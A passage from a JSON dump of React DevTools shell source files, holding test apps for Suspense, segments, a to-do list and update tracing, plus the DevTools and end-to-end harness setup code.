</>\n  );\n}\n\nconst cookies = deferred(200, 'Cookies: 🍪🍪🍪', 'cookies');\nfunction OuterSegment({children}: {children: React.Node}): React.Node {\n  return (\n    <>\n      <h2>Outer Segment</h2>\n      <React.Suspense name=\"OuterSegment\" fallback={<p>Loading outer</p>}>\n        <p>{cookies}</p>\n        <div>{children}</div>\n        <p>After outer</p>\n      </React.Suspense>\n    </>\n  );\n}\n\nfunction Root({children}: {children: React.Node}): React.Node {\n  return (\n    <>\n      <h1>Root Segment</h1>\n      <React.Suspense name=\"Root\" fallback={<p>Loading root</p>}>\n        <main>{children}</main>\n        <footer>After root</footer>\n      </React.Suspense>\n    </>\n  );\n}\n\nconst dynamicData = deferred(10, 'Dynamic Data: 📈📉📊', 'dynamicData');\nexport default function Segments(): React.Node {\n  return (\n    <>\n      <p>{dynamicData}</p>\n      <React.Activity name=\"root\" mode=\"visible\">\n        <Root>\n          <React.Activity name=\"outer\" mode=\"visible\">\n            <OuterSegment>\n              <React.Activity name=\"inner\" mode=\"visible\">\n                <InnerSegment>\n                  <React.Activity name=\"slot\" mode=\"visible\">\n                    <Page />\n                  </React.Activity>\n                </InnerSegment>\n              </React.Activity>\n            </OuterSegment>\n          </React.Activity>\n        </Root>\n      </React.Activity>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/SuspenseTree/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  Fragment,\n  Suspense,\n  unstable_SuspenseList as SuspenseList,\n  useReducer,\n  useState,\n} from 'react';\n\nfunction SuspenseTree(): React.Node {\n  return (\n    <Fragment>\n      <h1>Suspense</h1>\n      <h4>Primary to Fallback Cycle</h4>\n      <PrimaryFallbackTest initialSuspend={false} />\n      <h4>Fallback to Primary Cycle</h4>\n      <PrimaryFallbackTest initialSuspend={true} />\n      <NestedSuspenseTest />\n      <SuspenseListTest />\n      <EmptySuspense />\n      <SuspenseTreeOperations />\n    </Fragment>\n  );\n}\n\nfunction IgnoreMePassthrough({children}: {children: React$Node}) {\n  return <span>{children}</span>;\n}\n\nconst suspenseTreeOperationsChildren = {\n  a: (\n    <Suspense key=\"a\" name=\"a\">\n      <p>A</p>\n    </Suspense>\n  ),\n  b: (\n    <div key=\"b\">\n      <Suspense name=\"b\">B</Suspense>\n    </div>\n  ),\n  c: (\n    <p key=\"c\">\n      <Suspense key=\"c\" name=\"c\">\n        C\n      </Suspense>\n    </p>\n  ),\n  d: (\n    <Suspense key=\"d\" name=\"d\">\n      <div>D</div>\n    </Suspense>\n  ),\n  e: (\n    <Suspense key=\"e\" name=\"e\">\n      <IgnoreMePassthrough key=\"e1\">\n        <Suspense name=\"e-child-one\">\n          <p>e1</p>\n        </Suspense>\n      </IgnoreMePassthrough>\n      <IgnoreMePassthrough key=\"e2\">\n        <Suspense name=\"e-child-two\">\n          <div>e2</div>\n        </Suspense>\n      </IgnoreMePassthrough>\n    </Suspense>\n  ),\n  eReordered: (\n    <Suspense key=\"e\" name=\"e\">\n      <IgnoreMePassthrough key=\"e2\">\n        <Suspense name=\"e-child-two\">\n          <div>e2</div>\n        </Suspense>\n      </IgnoreMePassthrough>\n      <IgnoreMePassthrough key=\"e1\">\n        <Suspense name=\"e-child-one\">\n          <p>e1</p>\n        </Suspense>\n      </IgnoreMePassthrough>\n    </Suspense>\n  ),\n};\n\nfunction SuspenseTreeOperations() {\n  const initialChildren: any[] = [\n    suspenseTreeOperationsChildren.a,\n    suspenseTreeOperationsChildren.b,\n    suspenseTreeOperationsChildren.c,\n    suspenseTreeOperationsChildren.d,\n    suspenseTreeOperationsChildren.e,\n  ];\n  const [children, dispatch] = useReducer(\n    (\n      pendingState: any[],\n      action: 'toggle-mount' | 'reorder' | 'reorder-within-filtered',\n    ): React$Node[] => {\n      switch (action) {\n        case 'toggle-mount':\n          if (pendingState.length === 5) {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.d,\n            ];\n          } else {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.d,\n              suspenseTreeOperationsChildren.e,\n            ];\n          }\n        case 'reorder':\n          if (pendingState[1] === suspenseTreeOperationsChildren.b) {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.d,\n              suspenseTreeOperationsChildren.e,\n            ];\n          } else {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.d,\n              suspenseTreeOperationsChildren.e,\n            ];\n          }\n        case 'reorder-within-filtered':\n          if (pendingState[4] === suspenseTreeOperationsChildren.e) {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.d,\n              suspenseTreeOperationsChildren.eReordered,\n            ];\n          } else {\n            return [\n              suspenseTreeOperationsChildren.a,\n              suspenseTreeOperationsChildren.b,\n              suspenseTreeOperationsChildren.c,\n              suspenseTreeOperationsChildren.d,\n              suspenseTreeOperationsChildren.e,\n            ];\n          }\n        default:\n          return pendingState;\n      }\n    },\n    initialChildren,\n  );\n\n  return (\n    <>\n      <button onClick={() => dispatch('toggle-mount')}>Toggle Mount</button>\n      <button onClick={() => dispatch('reorder')}>Reorder</button>\n      <button onClick={() => dispatch('reorder-within-filtered')}>\n        Reorder Within Filtered\n      </button>\n      <Suspense name=\"operations-parent\">\n        <section>{children}</section>\n      </Suspense>\n    </>\n  );\n}\n\nfunction EmptySuspense() {\n  return <Suspense />;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction PrimaryFallbackTest({initialSuspend}) {\n  const [suspend, setSuspend] = useState(initialSuspend);\n  const [fallbackStepIndex, fallbackStep] = useTestSequence(\n    'fallback',\n    Fallback1,\n    Fallback2,\n  );\n  const [, primaryStep] = useTestSequence('primary', Primary1, Primary2);\n  return (\n    <Fragment>\n      <label>\n        <input\n          checked={suspend}\n          onChange={e => setSuspend(e.target.checked)}\n          type=\"checkbox\"\n        />\n        Suspend\n      </label>\n      <br />\n      <Suspense fallback={fallbackStep}>\n        {suspend ? (\n          <Never id={`primary-fallback-test-${fallbackStepIndex}`} />\n        ) : (\n          primaryStep\n        )}\n      </Suspense>\n    </Fragment>\n  );\n}\n\nfunction useTestSequence(label: string, T1: any => any, T2: any => any) {\n  const [step, setStep] = useState(0);\n  const next: $FlowFixMe = (\n    <button onClick={() => setStep(s => (s + 1) % allSteps.length)}>\n      next {label} content\n    </button>\n  );\n  const allSteps: $FlowFixMe = [\n    <Fragment>{next}</Fragment>,\n    <Fragment>\n      {next} <T1 prop={step}>mount</T1>\n    </Fragment>,\n    <Fragment>\n      {next} <T1 prop={step}>update</T1>\n    </Fragment>,\n    <Fragment>\n      {next} <T2 prop={step}>several</T2> <T1 prop={step}>different</T1>{' '}\n      <T2 prop={step}>children</T2>\n    </Fragment>,\n    <Fragment>\n      {next} <T2 prop={step}>goodbye</T2>\n    </Fragment>,\n  ];\n  return [step, allSteps[step]];\n}\n\nfunction NestedSuspenseTest() {\n  return (\n    <Fragment>\n      <h3>Nested Suspense</h3>\n      <Suspense fallback={<Fallback1>Loading outer</Fallback1>}>\n        <Parent />\n      </Suspense>\n    </Fragment>\n  );\n}\n\nfunction Parent() {\n  return (\n    <div>\n      <Suspense fallback={<Fallback1>Loading inner 1</Fallback1>}>\n        <Primary1>Hello</Primary1>\n      </Suspense>{' '}\n      <Suspense fallback={<Fallback2>Loading inner 2</Fallback2>}>\n        <Primary2>World</Primary2>\n      </Suspense>\n      <br />\n      <Suspense fallback={<Fallback1>This will never load</Fallback1>}>\n        <Never id=\"parent-never\" />\n      </Suspense>\n      <br />\n      <b>\n        <LoadLater />\n      </b>\n    </div>\n  );\n}\n\nfunction SuspenseListTest() {\n  return (\n    <>\n      <h1>SuspenseList</h1>\n      <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n        <div>\n          <Suspense fallback={<Fallback1>Loading 1</Fallback1>}>\n            <Primary1>Hello</Primary1>\n          </Suspense>\n        </div>\n        <div>\n          <LoadLater />\n        </div>\n        <div>\n          <Suspense fallback={<Fallback2>Loading 2</Fallback2>}>\n            <Primary2>World</Primary2>\n          </Suspense>\n        </div>\n      </SuspenseList>\n    </>\n  );\n}\n\nfunction LoadLater() {\n  const [loadChild, setLoadChild] = useState(false);\n  return (\n    <Suspense\n      fallback={\n        <Fallback1 onClick={() => setLoadChild(true)}>Click to load</Fallback1>\n      }\n      name=\"LoadLater\">\n      {loadChild ? (\n        <Primary1 onClick={() => setLoadChild(false)}>\n          Loaded! Click to suspend again.\n        </Primary1>\n      ) : (\n        <Never id=\"load-later\" />\n      )}\n    </Suspense>\n  );\n}\n\nfunction readRecord(promise: any): any {\n  if (typeof React.use === 'function') {\n    // eslint-disable-next-line react-hooks-published/rules-of-hooks\n    return React.use(promise);\n  }\n  switch (promise.status) {\n    case 'pending':\n      throw promise;\n    case 'rejected':\n      throw promise.reason;\n    case 'fulfilled':\n      return promise.value;\n    default:\n      promise.status = 'pending';\n      promise.then(\n        value => {\n          promise.status = 'fulfilled';\n          promise.value = value;\n        },\n        reason => {\n          promise.status = 'rejected';\n          promise.reason = reason;\n        },\n      );\n      throw promise;\n  }\n}\n\nconst nevers = new Map<string, Promise<empty>>();\nfunction Never({id}: {id: string}) {\n  let promise = nevers.get(id);\n  if (!promise) {\n    promise = new Promise(() => {});\n    (promise as any).displayName = id;\n    nevers.set(id, promise);\n  }\n  readRecord(promise);\n}\n\nfunction Fallback1({prop, ...rest}: any) {\n  return <span {...rest} />;\n}\n\nfunction Fallback2({prop, ...rest}: any) {\n  return <span {...rest} />;\n}\n\nfunction Primary1({prop, ...rest}: any) {\n  return <span {...rest} />;\n}\n\nfunction Primary2({prop, ...rest}: any) {\n  return <span {...rest} />;\n}\n\nexport default SuspenseTree;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ToDoList/List.css",
    "content": ".Input {\n  font-size: 1rem;\n  padding: 0.25rem;\n}\n\n.IconButton {\n  padding: 0.25rem;\n  border: none;\n  background: none;\n  cursor: pointer;\n}\n\n.List {\n  margin: 0.5rem 0 0;\n  padding: 0;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ToDoList/List.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useCallback, useState} from 'react';\nimport ListItem from './ListItem';\nimport styles from './List.css';\n\nexport type Item = {\n  id: number,\n  isComplete: boolean,\n  text: string,\n};\n\ntype Props = {};\n\nexport default function List(props: Props): React.Node {\n  const [newItemText, setNewItemText] = useState<string>('');\n  const [items, setItems] = useState<Array<Item>>([\n    {id: 1, isComplete: true, text: 'First'},\n    {id: 2, isComplete: true, text: 'Second'},\n    {id: 3, isComplete: false, text: 'Third'},\n  ]);\n  const [uid, setUID] = useState<number>(4);\n\n  const handleClick = useCallback(() => {\n    if (newItemText !== '') {\n      setItems([\n        ...items,\n        {\n          id: uid,\n          isComplete: false,\n          text: newItemText,\n        },\n      ]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n\n  const handleKeyPress = useCallback(\n    (event: $FlowFixMe) => {\n      if (event.key === 'Enter') {\n        handleClick();\n      }\n    },\n    [handleClick],\n  );\n\n  const handleChange = useCallback(\n    (event: $FlowFixMe) => {\n      setNewItemText(event.currentTarget.value);\n    },\n    [setNewItemText],\n  );\n\n  const removeItem = useCallback(\n    (itemToRemove: $FlowFixMe) =>\n      setItems(items.filter(item => item !== itemToRemove)),\n    [items],\n  );\n\n  const toggleItem = useCallback(\n    (itemToToggle: $FlowFixMe) => {\n      // Dont use indexOf()\n      // because editing props in DevTools creates a new Object.\n      const index = items.findIndex(item => item.id === itemToToggle.id);\n\n      setItems(\n        items\n          .slice(0, index)\n          .concat({\n            ...itemToToggle,\n            isComplete: !itemToToggle.isComplete,\n          })\n          .concat(items.slice(index + 1)),\n      );\n    },\n    [items],\n  );\n\n  return (\n    <Fragment>\n      <h1>List</h1>\n      <input\n        type=\"text\"\n        placeholder=\"New list item...\"\n        className={styles.Input}\n        value={newItemText}\n        onChange={handleChange}\n        onKeyPress={handleKeyPress}\n      />\n      <button\n        className={styles.IconButton}\n        disabled={newItemText === ''}\n        onClick={handleClick}>\n        <span role=\"img\" aria-label=\"Add item\">\n          ➕\n        </span>\n      </button>\n      <ul className={styles.List}>\n        {items.map(item => (\n          <ListItem\n            key={item.id}\n            item={item}\n            removeItem={removeItem}\n            toggleItem={toggleItem}\n          />\n        ))}\n      </ul>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ToDoList/ListItem.css",
    "content": ".ListItem {\n  list-style-type: none;\n}\n\n.Input {\n  cursor: pointer;\n}\n\n.Label {\n  cursor: pointer;\n  padding: 0.25rem;\n  color: #555;\n}\n.Label:hover {\n  color: #000;\n}\n\n.IconButton {\n  padding: 0.25rem;\n  border: none;\n  background: none;\n  cursor: pointer;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ToDoList/ListItem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {memo, useCallback} from 'react';\nimport styles from './ListItem.css';\n\nimport type {Item} from './List';\n\ntype Props = {\n  item: Item,\n  removeItem: (item: Item) => void,\n  toggleItem: (item: Item) => void,\n};\n\nfunction ListItem({item, removeItem, toggleItem}: Props) {\n  const handleDelete = useCallback(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n\n  const handleToggle = useCallback(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n\n  return (\n    <li className={styles.ListItem}>\n      <button className={styles.IconButton} onClick={handleDelete}>\n        🗑\n      </button>\n      <label className={styles.Label}>\n        <input\n          className={styles.Input}\n          checked={item.isComplete}\n          onChange={handleToggle}\n          type=\"checkbox\"\n        />{' '}\n        {item.text}\n      </label>\n    </li>\n  );\n}\n\nexport default (memo(ListItem): component(...props: Props));\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ToDoList/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport List from './List';\n\nexport default List;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/Toggle/index.js",
    "content": "import * as React from 'react';\nimport {useState} from 'react';\n\nexport default function Toggle() {\n  const [show, setShow] = useState(false);\n  return (\n    <>\n      <h2>Toggle</h2>\n      <div>\n        <>\n          <button onClick={() => setShow(s => !s)}>Show child</button>\n          {show && ' '}\n          {show && <Greeting>Hello</Greeting>}\n        </>\n      </div>\n    </>\n  );\n}\n\nfunction Greeting({children}) {\n  return <p>{children}</p>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/TraceUpdatesTest/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useRef, useState} from 'react';\n\nconst Counter = () => {\n  const [count, setCount] = useState(0);\n\n  return (\n    <div>\n      <h3>Count: {count}</h3>\n      <button onClick={() => setCount(c => c + 1)}>Increment</button>\n    </div>\n  );\n};\n\nfunction DialogComponent() {\n  const dialogRef = useRef(null);\n\n  const openDialog = () => {\n    if (dialogRef.current) {\n      dialogRef.current.showModal();\n    }\n  };\n\n  const closeDialog = () => {\n    if (dialogRef.current) {\n      dialogRef.current.close();\n    }\n  };\n\n  return (\n    <div style={{margin: '10px 0'}}>\n      <button onClick={openDialog}>Open Dialog</button>\n      <dialog ref={dialogRef} style={{padding: '20px'}}>\n        <h3>Dialog Content</h3>\n        <Counter />\n        <button onClick={closeDialog}>Close</button>\n      </dialog>\n    </div>\n  );\n}\n\nfunction RegularComponent() {\n  return (\n    <div style={{margin: '10px 0'}}>\n      <h3>Regular Component</h3>\n      <Counter />\n    </div>\n  );\n}\n\nexport default function TraceUpdatesTest(): React.Node {\n  return (\n    <div>\n      <h2>TraceUpdates Test</h2>\n\n      <div style={{marginBottom: '20px'}}>\n        <h3>Standard Component</h3>\n        <RegularComponent />\n      </div>\n\n      <div style={{marginBottom: '20px'}}>\n        <h3>Dialog Component (top-layer element)</h3>\n        <DialogComponent />\n      </div>\n\n      <div\n        style={{marginTop: '20px', padding: '10px', border: '1px solid #ddd'}}>\n        <h3>How to Test:</h3>\n        <ol>\n          <li>Open DevTools Components panel</li>\n          <li>Enable \"Highlight updates when components render\" in settings</li>\n          <li>Click increment buttons and observe highlights</li>\n          <li>Open the dialog and test increments there as well</li>\n        </ol>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/console.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nfunction ignoreStrings(\n  methodName: string,\n  stringsToIgnore: Array<string>,\n): void {\n  // $FlowFixMe[prop-missing] index access only allowed for objects with index keys\n  console[methodName] = (...args: $ReadOnlyArray<mixed>) => {\n    const maybeString = args[0];\n    if (typeof maybeString === 'string') {\n      for (let i = 0; i < stringsToIgnore.length; i++) {\n        if (maybeString.startsWith(stringsToIgnore[i])) {\n          return;\n        }\n      }\n    }\n\n    // HACKY In the test harness, DevTools overrides the parent window's console.\n    // Our test app code uses the iframe's console though.\n    // To simulate a more accurate end-to-end environment,\n    // the shell's console patching should pass through to the parent override methods.\n    window.parent.console[methodName](...args);\n  };\n}\n\nexport function ignoreErrors(errorsToIgnore: Array<string>): void {\n  ignoreStrings('error', errorsToIgnore);\n}\n\nexport function ignoreWarnings(warningsToIgnore: Array<string>): void {\n  ignoreStrings('warn', warningsToIgnore);\n}\n\nexport function ignoreLogs(logsToIgnore: Array<string>): void {\n  ignoreStrings('log', logsToIgnore);\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/devtools.js",
    "content": "/** @flow */\n\nimport {createElement} from 'react';\nimport {createRoot} from 'react-dom/client';\nimport {\n  activate as activateBackend,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {initialize as initializeFrontend} from 'react-devtools-inline/frontend';\nimport {initDevTools} from 'react-devtools-shared/src/devtools';\n\n// This is a pretty gross hack to make the runtime loaded named-hooks-code work.\n// TODO (Webpack 5) Hoepfully we can remove this once we upgrade to Webpack 5.\n// $FlowFixMe[cannot-resolve-name]\n__webpack_public_path__ = '/dist/'; // eslint-disable-line no-undef\n\nconst iframe = ((document.getElementById('target'): any): HTMLIFrameElement);\n\nconst {contentDocument, contentWindow} = iframe;\n\n// Helps with positioning Overlay UI.\ncontentWindow.__REACT_DEVTOOLS_TARGET_WINDOW__ = window;\n\ninitializeBackend(contentWindow);\n\n// Initialize the front end and activate the backend early so that we are able\n// to pass console settings in local storage to the backend before initial render\nconst DevTools = initializeFrontend(contentWindow);\n\n// Activate the backend only once the DevTools frontend Store has been initialized.\n// Otherwise the Store may miss important initial tree op codes.\nactivateBackend(contentWindow);\n\nconst container = ((document.getElementById('devtools'): any): HTMLElement);\n\nlet isTestAppMounted = true;\n\nconst mountButton = ((document.getElementById(\n  'mountButton',\n): any): HTMLButtonElement);\nmountButton.addEventListener('click', function () {\n  if (isTestAppMounted) {\n    if (typeof window.unmountTestApp === 'function') {\n      window.unmountTestApp();\n      mountButton.innerText = 'Mount test app';\n      isTestAppMounted = false;\n    }\n  } else {\n    if (typeof window.mountTestApp === 'function') {\n      window.mountTestApp();\n      mountButton.innerText = 'Unmount test app';\n      isTestAppMounted = true;\n    }\n  }\n});\n\n// TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\nfunction hookNamesModuleLoaderFunction() {\n  return import('react-devtools-inline/hookNames');\n}\n\ninject('dist/app-index.js', () => {\n  initDevTools({\n    connect(cb) {\n      const root = createRoot(container);\n      root.render(\n        createElement(DevTools, {\n          browserTheme: 'light',\n          enabledInspectedElementContextMenu: true,\n          hookNamesModuleLoaderFunction,\n          showTabBar: true,\n          warnIfLegacyBackendDetected: true,\n          warnIfUnsupportedVersionDetected: true,\n        }),\n      );\n    },\n\n    onReload(reloadFn) {\n      iframe.onload = reloadFn;\n    },\n  });\n});\n\nfunction inject(sourcePath: string, callback: () => void) {\n  const script = contentDocument.createElement('script');\n  script.onload = callback;\n  script.src = sourcePath;\n\n  ((contentDocument.body: any): HTMLBodyElement).appendChild(script);\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/index.js",
    "content": "/** @flow */\n\n// This test harness mounts each test app as a separate root to test multi-root applications.\n\nimport semver from 'semver';\n\nimport {createElement} from 'react';\nimport {createRoot} from 'react-dom/client';\n\nimport DeeplyNestedComponents from './DeeplyNestedComponents';\nimport Iframe from './Iframe';\nimport EditableProps from './EditableProps';\nimport ElementTypes from './ElementTypes';\nimport Hydration from './Hydration';\nimport InspectableElements from './InspectableElements';\nimport ReactNativeWeb from './ReactNativeWeb';\nimport ToDoList from './ToDoList';\nimport Toggle from './Toggle';\nimport ErrorBoundaries from './ErrorBoundaries';\nimport PartiallyStrictApp from './PartiallyStrictApp';\nimport Segments from './Segments';\nimport SuspenseTree from './SuspenseTree';\nimport ActivityTree from './ActivityTree';\nimport TraceUpdatesTest from './TraceUpdatesTest';\nimport {ignoreErrors, ignoreLogs, ignoreWarnings} from './console';\n\nimport './styles.css';\n\n// DevTools intentionally tests compatibility with certain legacy APIs.\n// Suppress their error messages in the local dev shell,\n// because they might mask other more serious error messages.\nignoreErrors([\n  'Warning: Legacy context API',\n  'Warning: Unsafe lifecycle methods',\n  'Warning: %s is deprecated in StrictMode.', // findDOMNode\n  'Warning: ReactDOM.render was removed in React 19',\n  'Warning: react-test-renderer is deprecated',\n  // Ignore prefixed and not prefixed since I don't know which\n  // React versions are being tested by this code.\n  'Legacy context API',\n  'Unsafe lifecycle methods',\n  '%s is deprecated in StrictMode.', // findDOMNode\n  'ReactDOM.render was removed in React 19',\n  'react-test-renderer is deprecated',\n]);\nignoreWarnings([\n  'Warning: componentWillReceiveProps has been renamed',\n  'componentWillReceiveProps has been renamed',\n]);\nignoreLogs([]);\n\nconst unmountFunctions: Array<() => void | boolean> = [];\n\nfunction createContainer() {\n  const container = document.createElement('div');\n\n  ((document.body: any): HTMLBodyElement).appendChild(container);\n\n  return container;\n}\n\nfunction mountApp(App: () => React$Node) {\n  const container = createContainer();\n\n  const root = createRoot(container);\n  root.render(createElement(App));\n\n  unmountFunctions.push(() => root.unmount());\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction mountStrictApp(App) {\n  function StrictRoot() {\n    return createElement(App);\n  }\n\n  const container = createContainer();\n\n  const root = createRoot(container, {unstable_strictMode: true});\n  root.render(createElement(StrictRoot));\n\n  unmountFunctions.push(() => root.unmount());\n}\n\nfunction mountLegacyApp(App: () => React$Node) {\n  // $FlowFixMe[prop-missing]: These are removed in 19.\n  const {render, unmountComponentAtNode} = require('react-dom');\n\n  function LegacyRender() {\n    return createElement(App);\n  }\n\n  const container = createContainer();\n\n  // $FlowFixMe[not-a-function]: These are removed in 19.\n  render(createElement(LegacyRender), container);\n\n  // $FlowFixMe: These are removed in 19.\n  unmountFunctions.push(() => unmountComponentAtNode(container));\n}\n\nconst shouldRenderLegacy = semver.lte(\n  process.env.E2E_APP_REACT_VERSION,\n  '18.2.0',\n);\nfunction mountTestApp() {\n  mountStrictApp(ToDoList);\n  mountApp(InspectableElements);\n  mountApp(Hydration);\n  mountApp(ElementTypes);\n  mountApp(EditableProps);\n  mountApp(ReactNativeWeb);\n  mountApp(Toggle);\n  mountApp(ErrorBoundaries);\n  mountApp(SuspenseTree);\n  mountApp(DeeplyNestedComponents);\n  mountApp(Iframe);\n  mountApp(ActivityTree);\n  mountApp(TraceUpdatesTest);\n  mountApp(Segments);\n\n  if (shouldRenderLegacy) {\n    mountLegacyApp(PartiallyStrictApp);\n  }\n}\n\nfunction unmountTestApp() {\n  unmountFunctions.forEach(fn => fn());\n}\n\nmountTestApp();\n\nwindow.parent.mountTestApp = mountTestApp;\nwindow.parent.unmountTestApp = unmountTestApp;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/styles.css",
    "content": "body {\n  /* GitHub.com frontend fonts */\n  font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n    sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n  font-size: 14px;\n  line-height: 1.5;\n}\n\nh1 {\n  font-size: 1.5rem;\n  font-weight: bold;\n  margin-bottom: 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e/app.js",
    "content": "/** @flow */\n\n// This test harness mounts each test app as a separate root to test multi-root applications.\n\nimport * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\n\nconst container = document.createElement('div');\n\n((document.body: any): HTMLBodyElement).appendChild(container);\n\n// TODO We may want to parameterize this app\n// so that it can load things other than just ToDoList.\nconst App = require('../e2e-apps/ListApp').default;\n\nconst root = ReactDOMClient.createRoot(container);\nroot.render(<App />);\n\n// ReactDOM Test Selector APIs used by Playwright e2e tests\nwindow.parent.REACT_DOM_APP = ReactDOMClient;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e/devtools.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\nimport {\n  activate as activateBackend,\n  initialize as initializeBackend,\n} from 'react-devtools-inline/backend';\nimport {initialize as createDevTools} from 'react-devtools-inline/frontend';\n\n// This is a pretty gross hack to make the runtime loaded named-hooks-code work.\n// TODO (Webpack 5) Hoepfully we can remove this once we upgrade to Webpack 5.\n__webpack_public_path__ = '/dist/'; // eslint-disable-line no-undef\n\n// TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.\nfunction hookNamesModuleLoaderFunction() {\n  return import('react-devtools-inline/hookNames');\n}\n\nfunction inject(contentDocument, sourcePath, callback) {\n  const script = contentDocument.createElement('script');\n  script.onload = callback;\n  script.src = sourcePath;\n\n  ((contentDocument.body: any): HTMLBodyElement).appendChild(script);\n}\n\nfunction init(appIframe, devtoolsContainer, appSource) {\n  const {contentDocument, contentWindow} = appIframe;\n\n  initializeBackend(contentWindow);\n\n  const DevTools = createDevTools(contentWindow);\n\n  inject(contentDocument, appSource, () => {\n    ReactDOMClient.createRoot(devtoolsContainer).render(\n      <DevTools\n        hookNamesModuleLoaderFunction={hookNamesModuleLoaderFunction}\n        showTabBar={true}\n      />,\n    );\n  });\n\n  activateBackend(contentWindow);\n}\n\nconst iframe = document.getElementById('iframe');\nconst devtoolsContainer = document.getElementById('devtools');\n\ninit(iframe, devtoolsContainer, 'dist/e2e-app.js');\n\n// ReactDOM Test Selector APIs used by Playwright e2e tests\nwindow.parent.REACT_DOM_DEVTOOLS = ReactDOMClient;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e-apps/ListApp.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useRef, useState} from 'react';\n\nexport default function App(): React.Node {\n  return <List />;\n}\n\nfunction List() {\n  const [items, setItems] = useState(['one', 'two', 'three']);\n  const inputRef = useRef(null);\n\n  const addItem = () => {\n    const input = ((inputRef.current: any): HTMLInputElement);\n    const text = input.value;\n    input.value = '';\n\n    if (text) {\n      setItems([...items, text]);\n    }\n  };\n\n  return (\n    <>\n      <input ref={inputRef} data-testname=\"AddItemInput\" />\n      <button data-testname=\"AddItemButton\" onClick={addItem}>\n        Add Item\n      </button>\n      <ul data-testname=\"List\">\n        {items.map((label, index) => (\n          <ListItem key={index} label={label} />\n        ))}\n      </ul>\n    </>\n  );\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ListItem({label}) {\n  return <li data-testname=\"ListItem\">{label}</li>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/e2e-apps/ListAppLegacy.js",
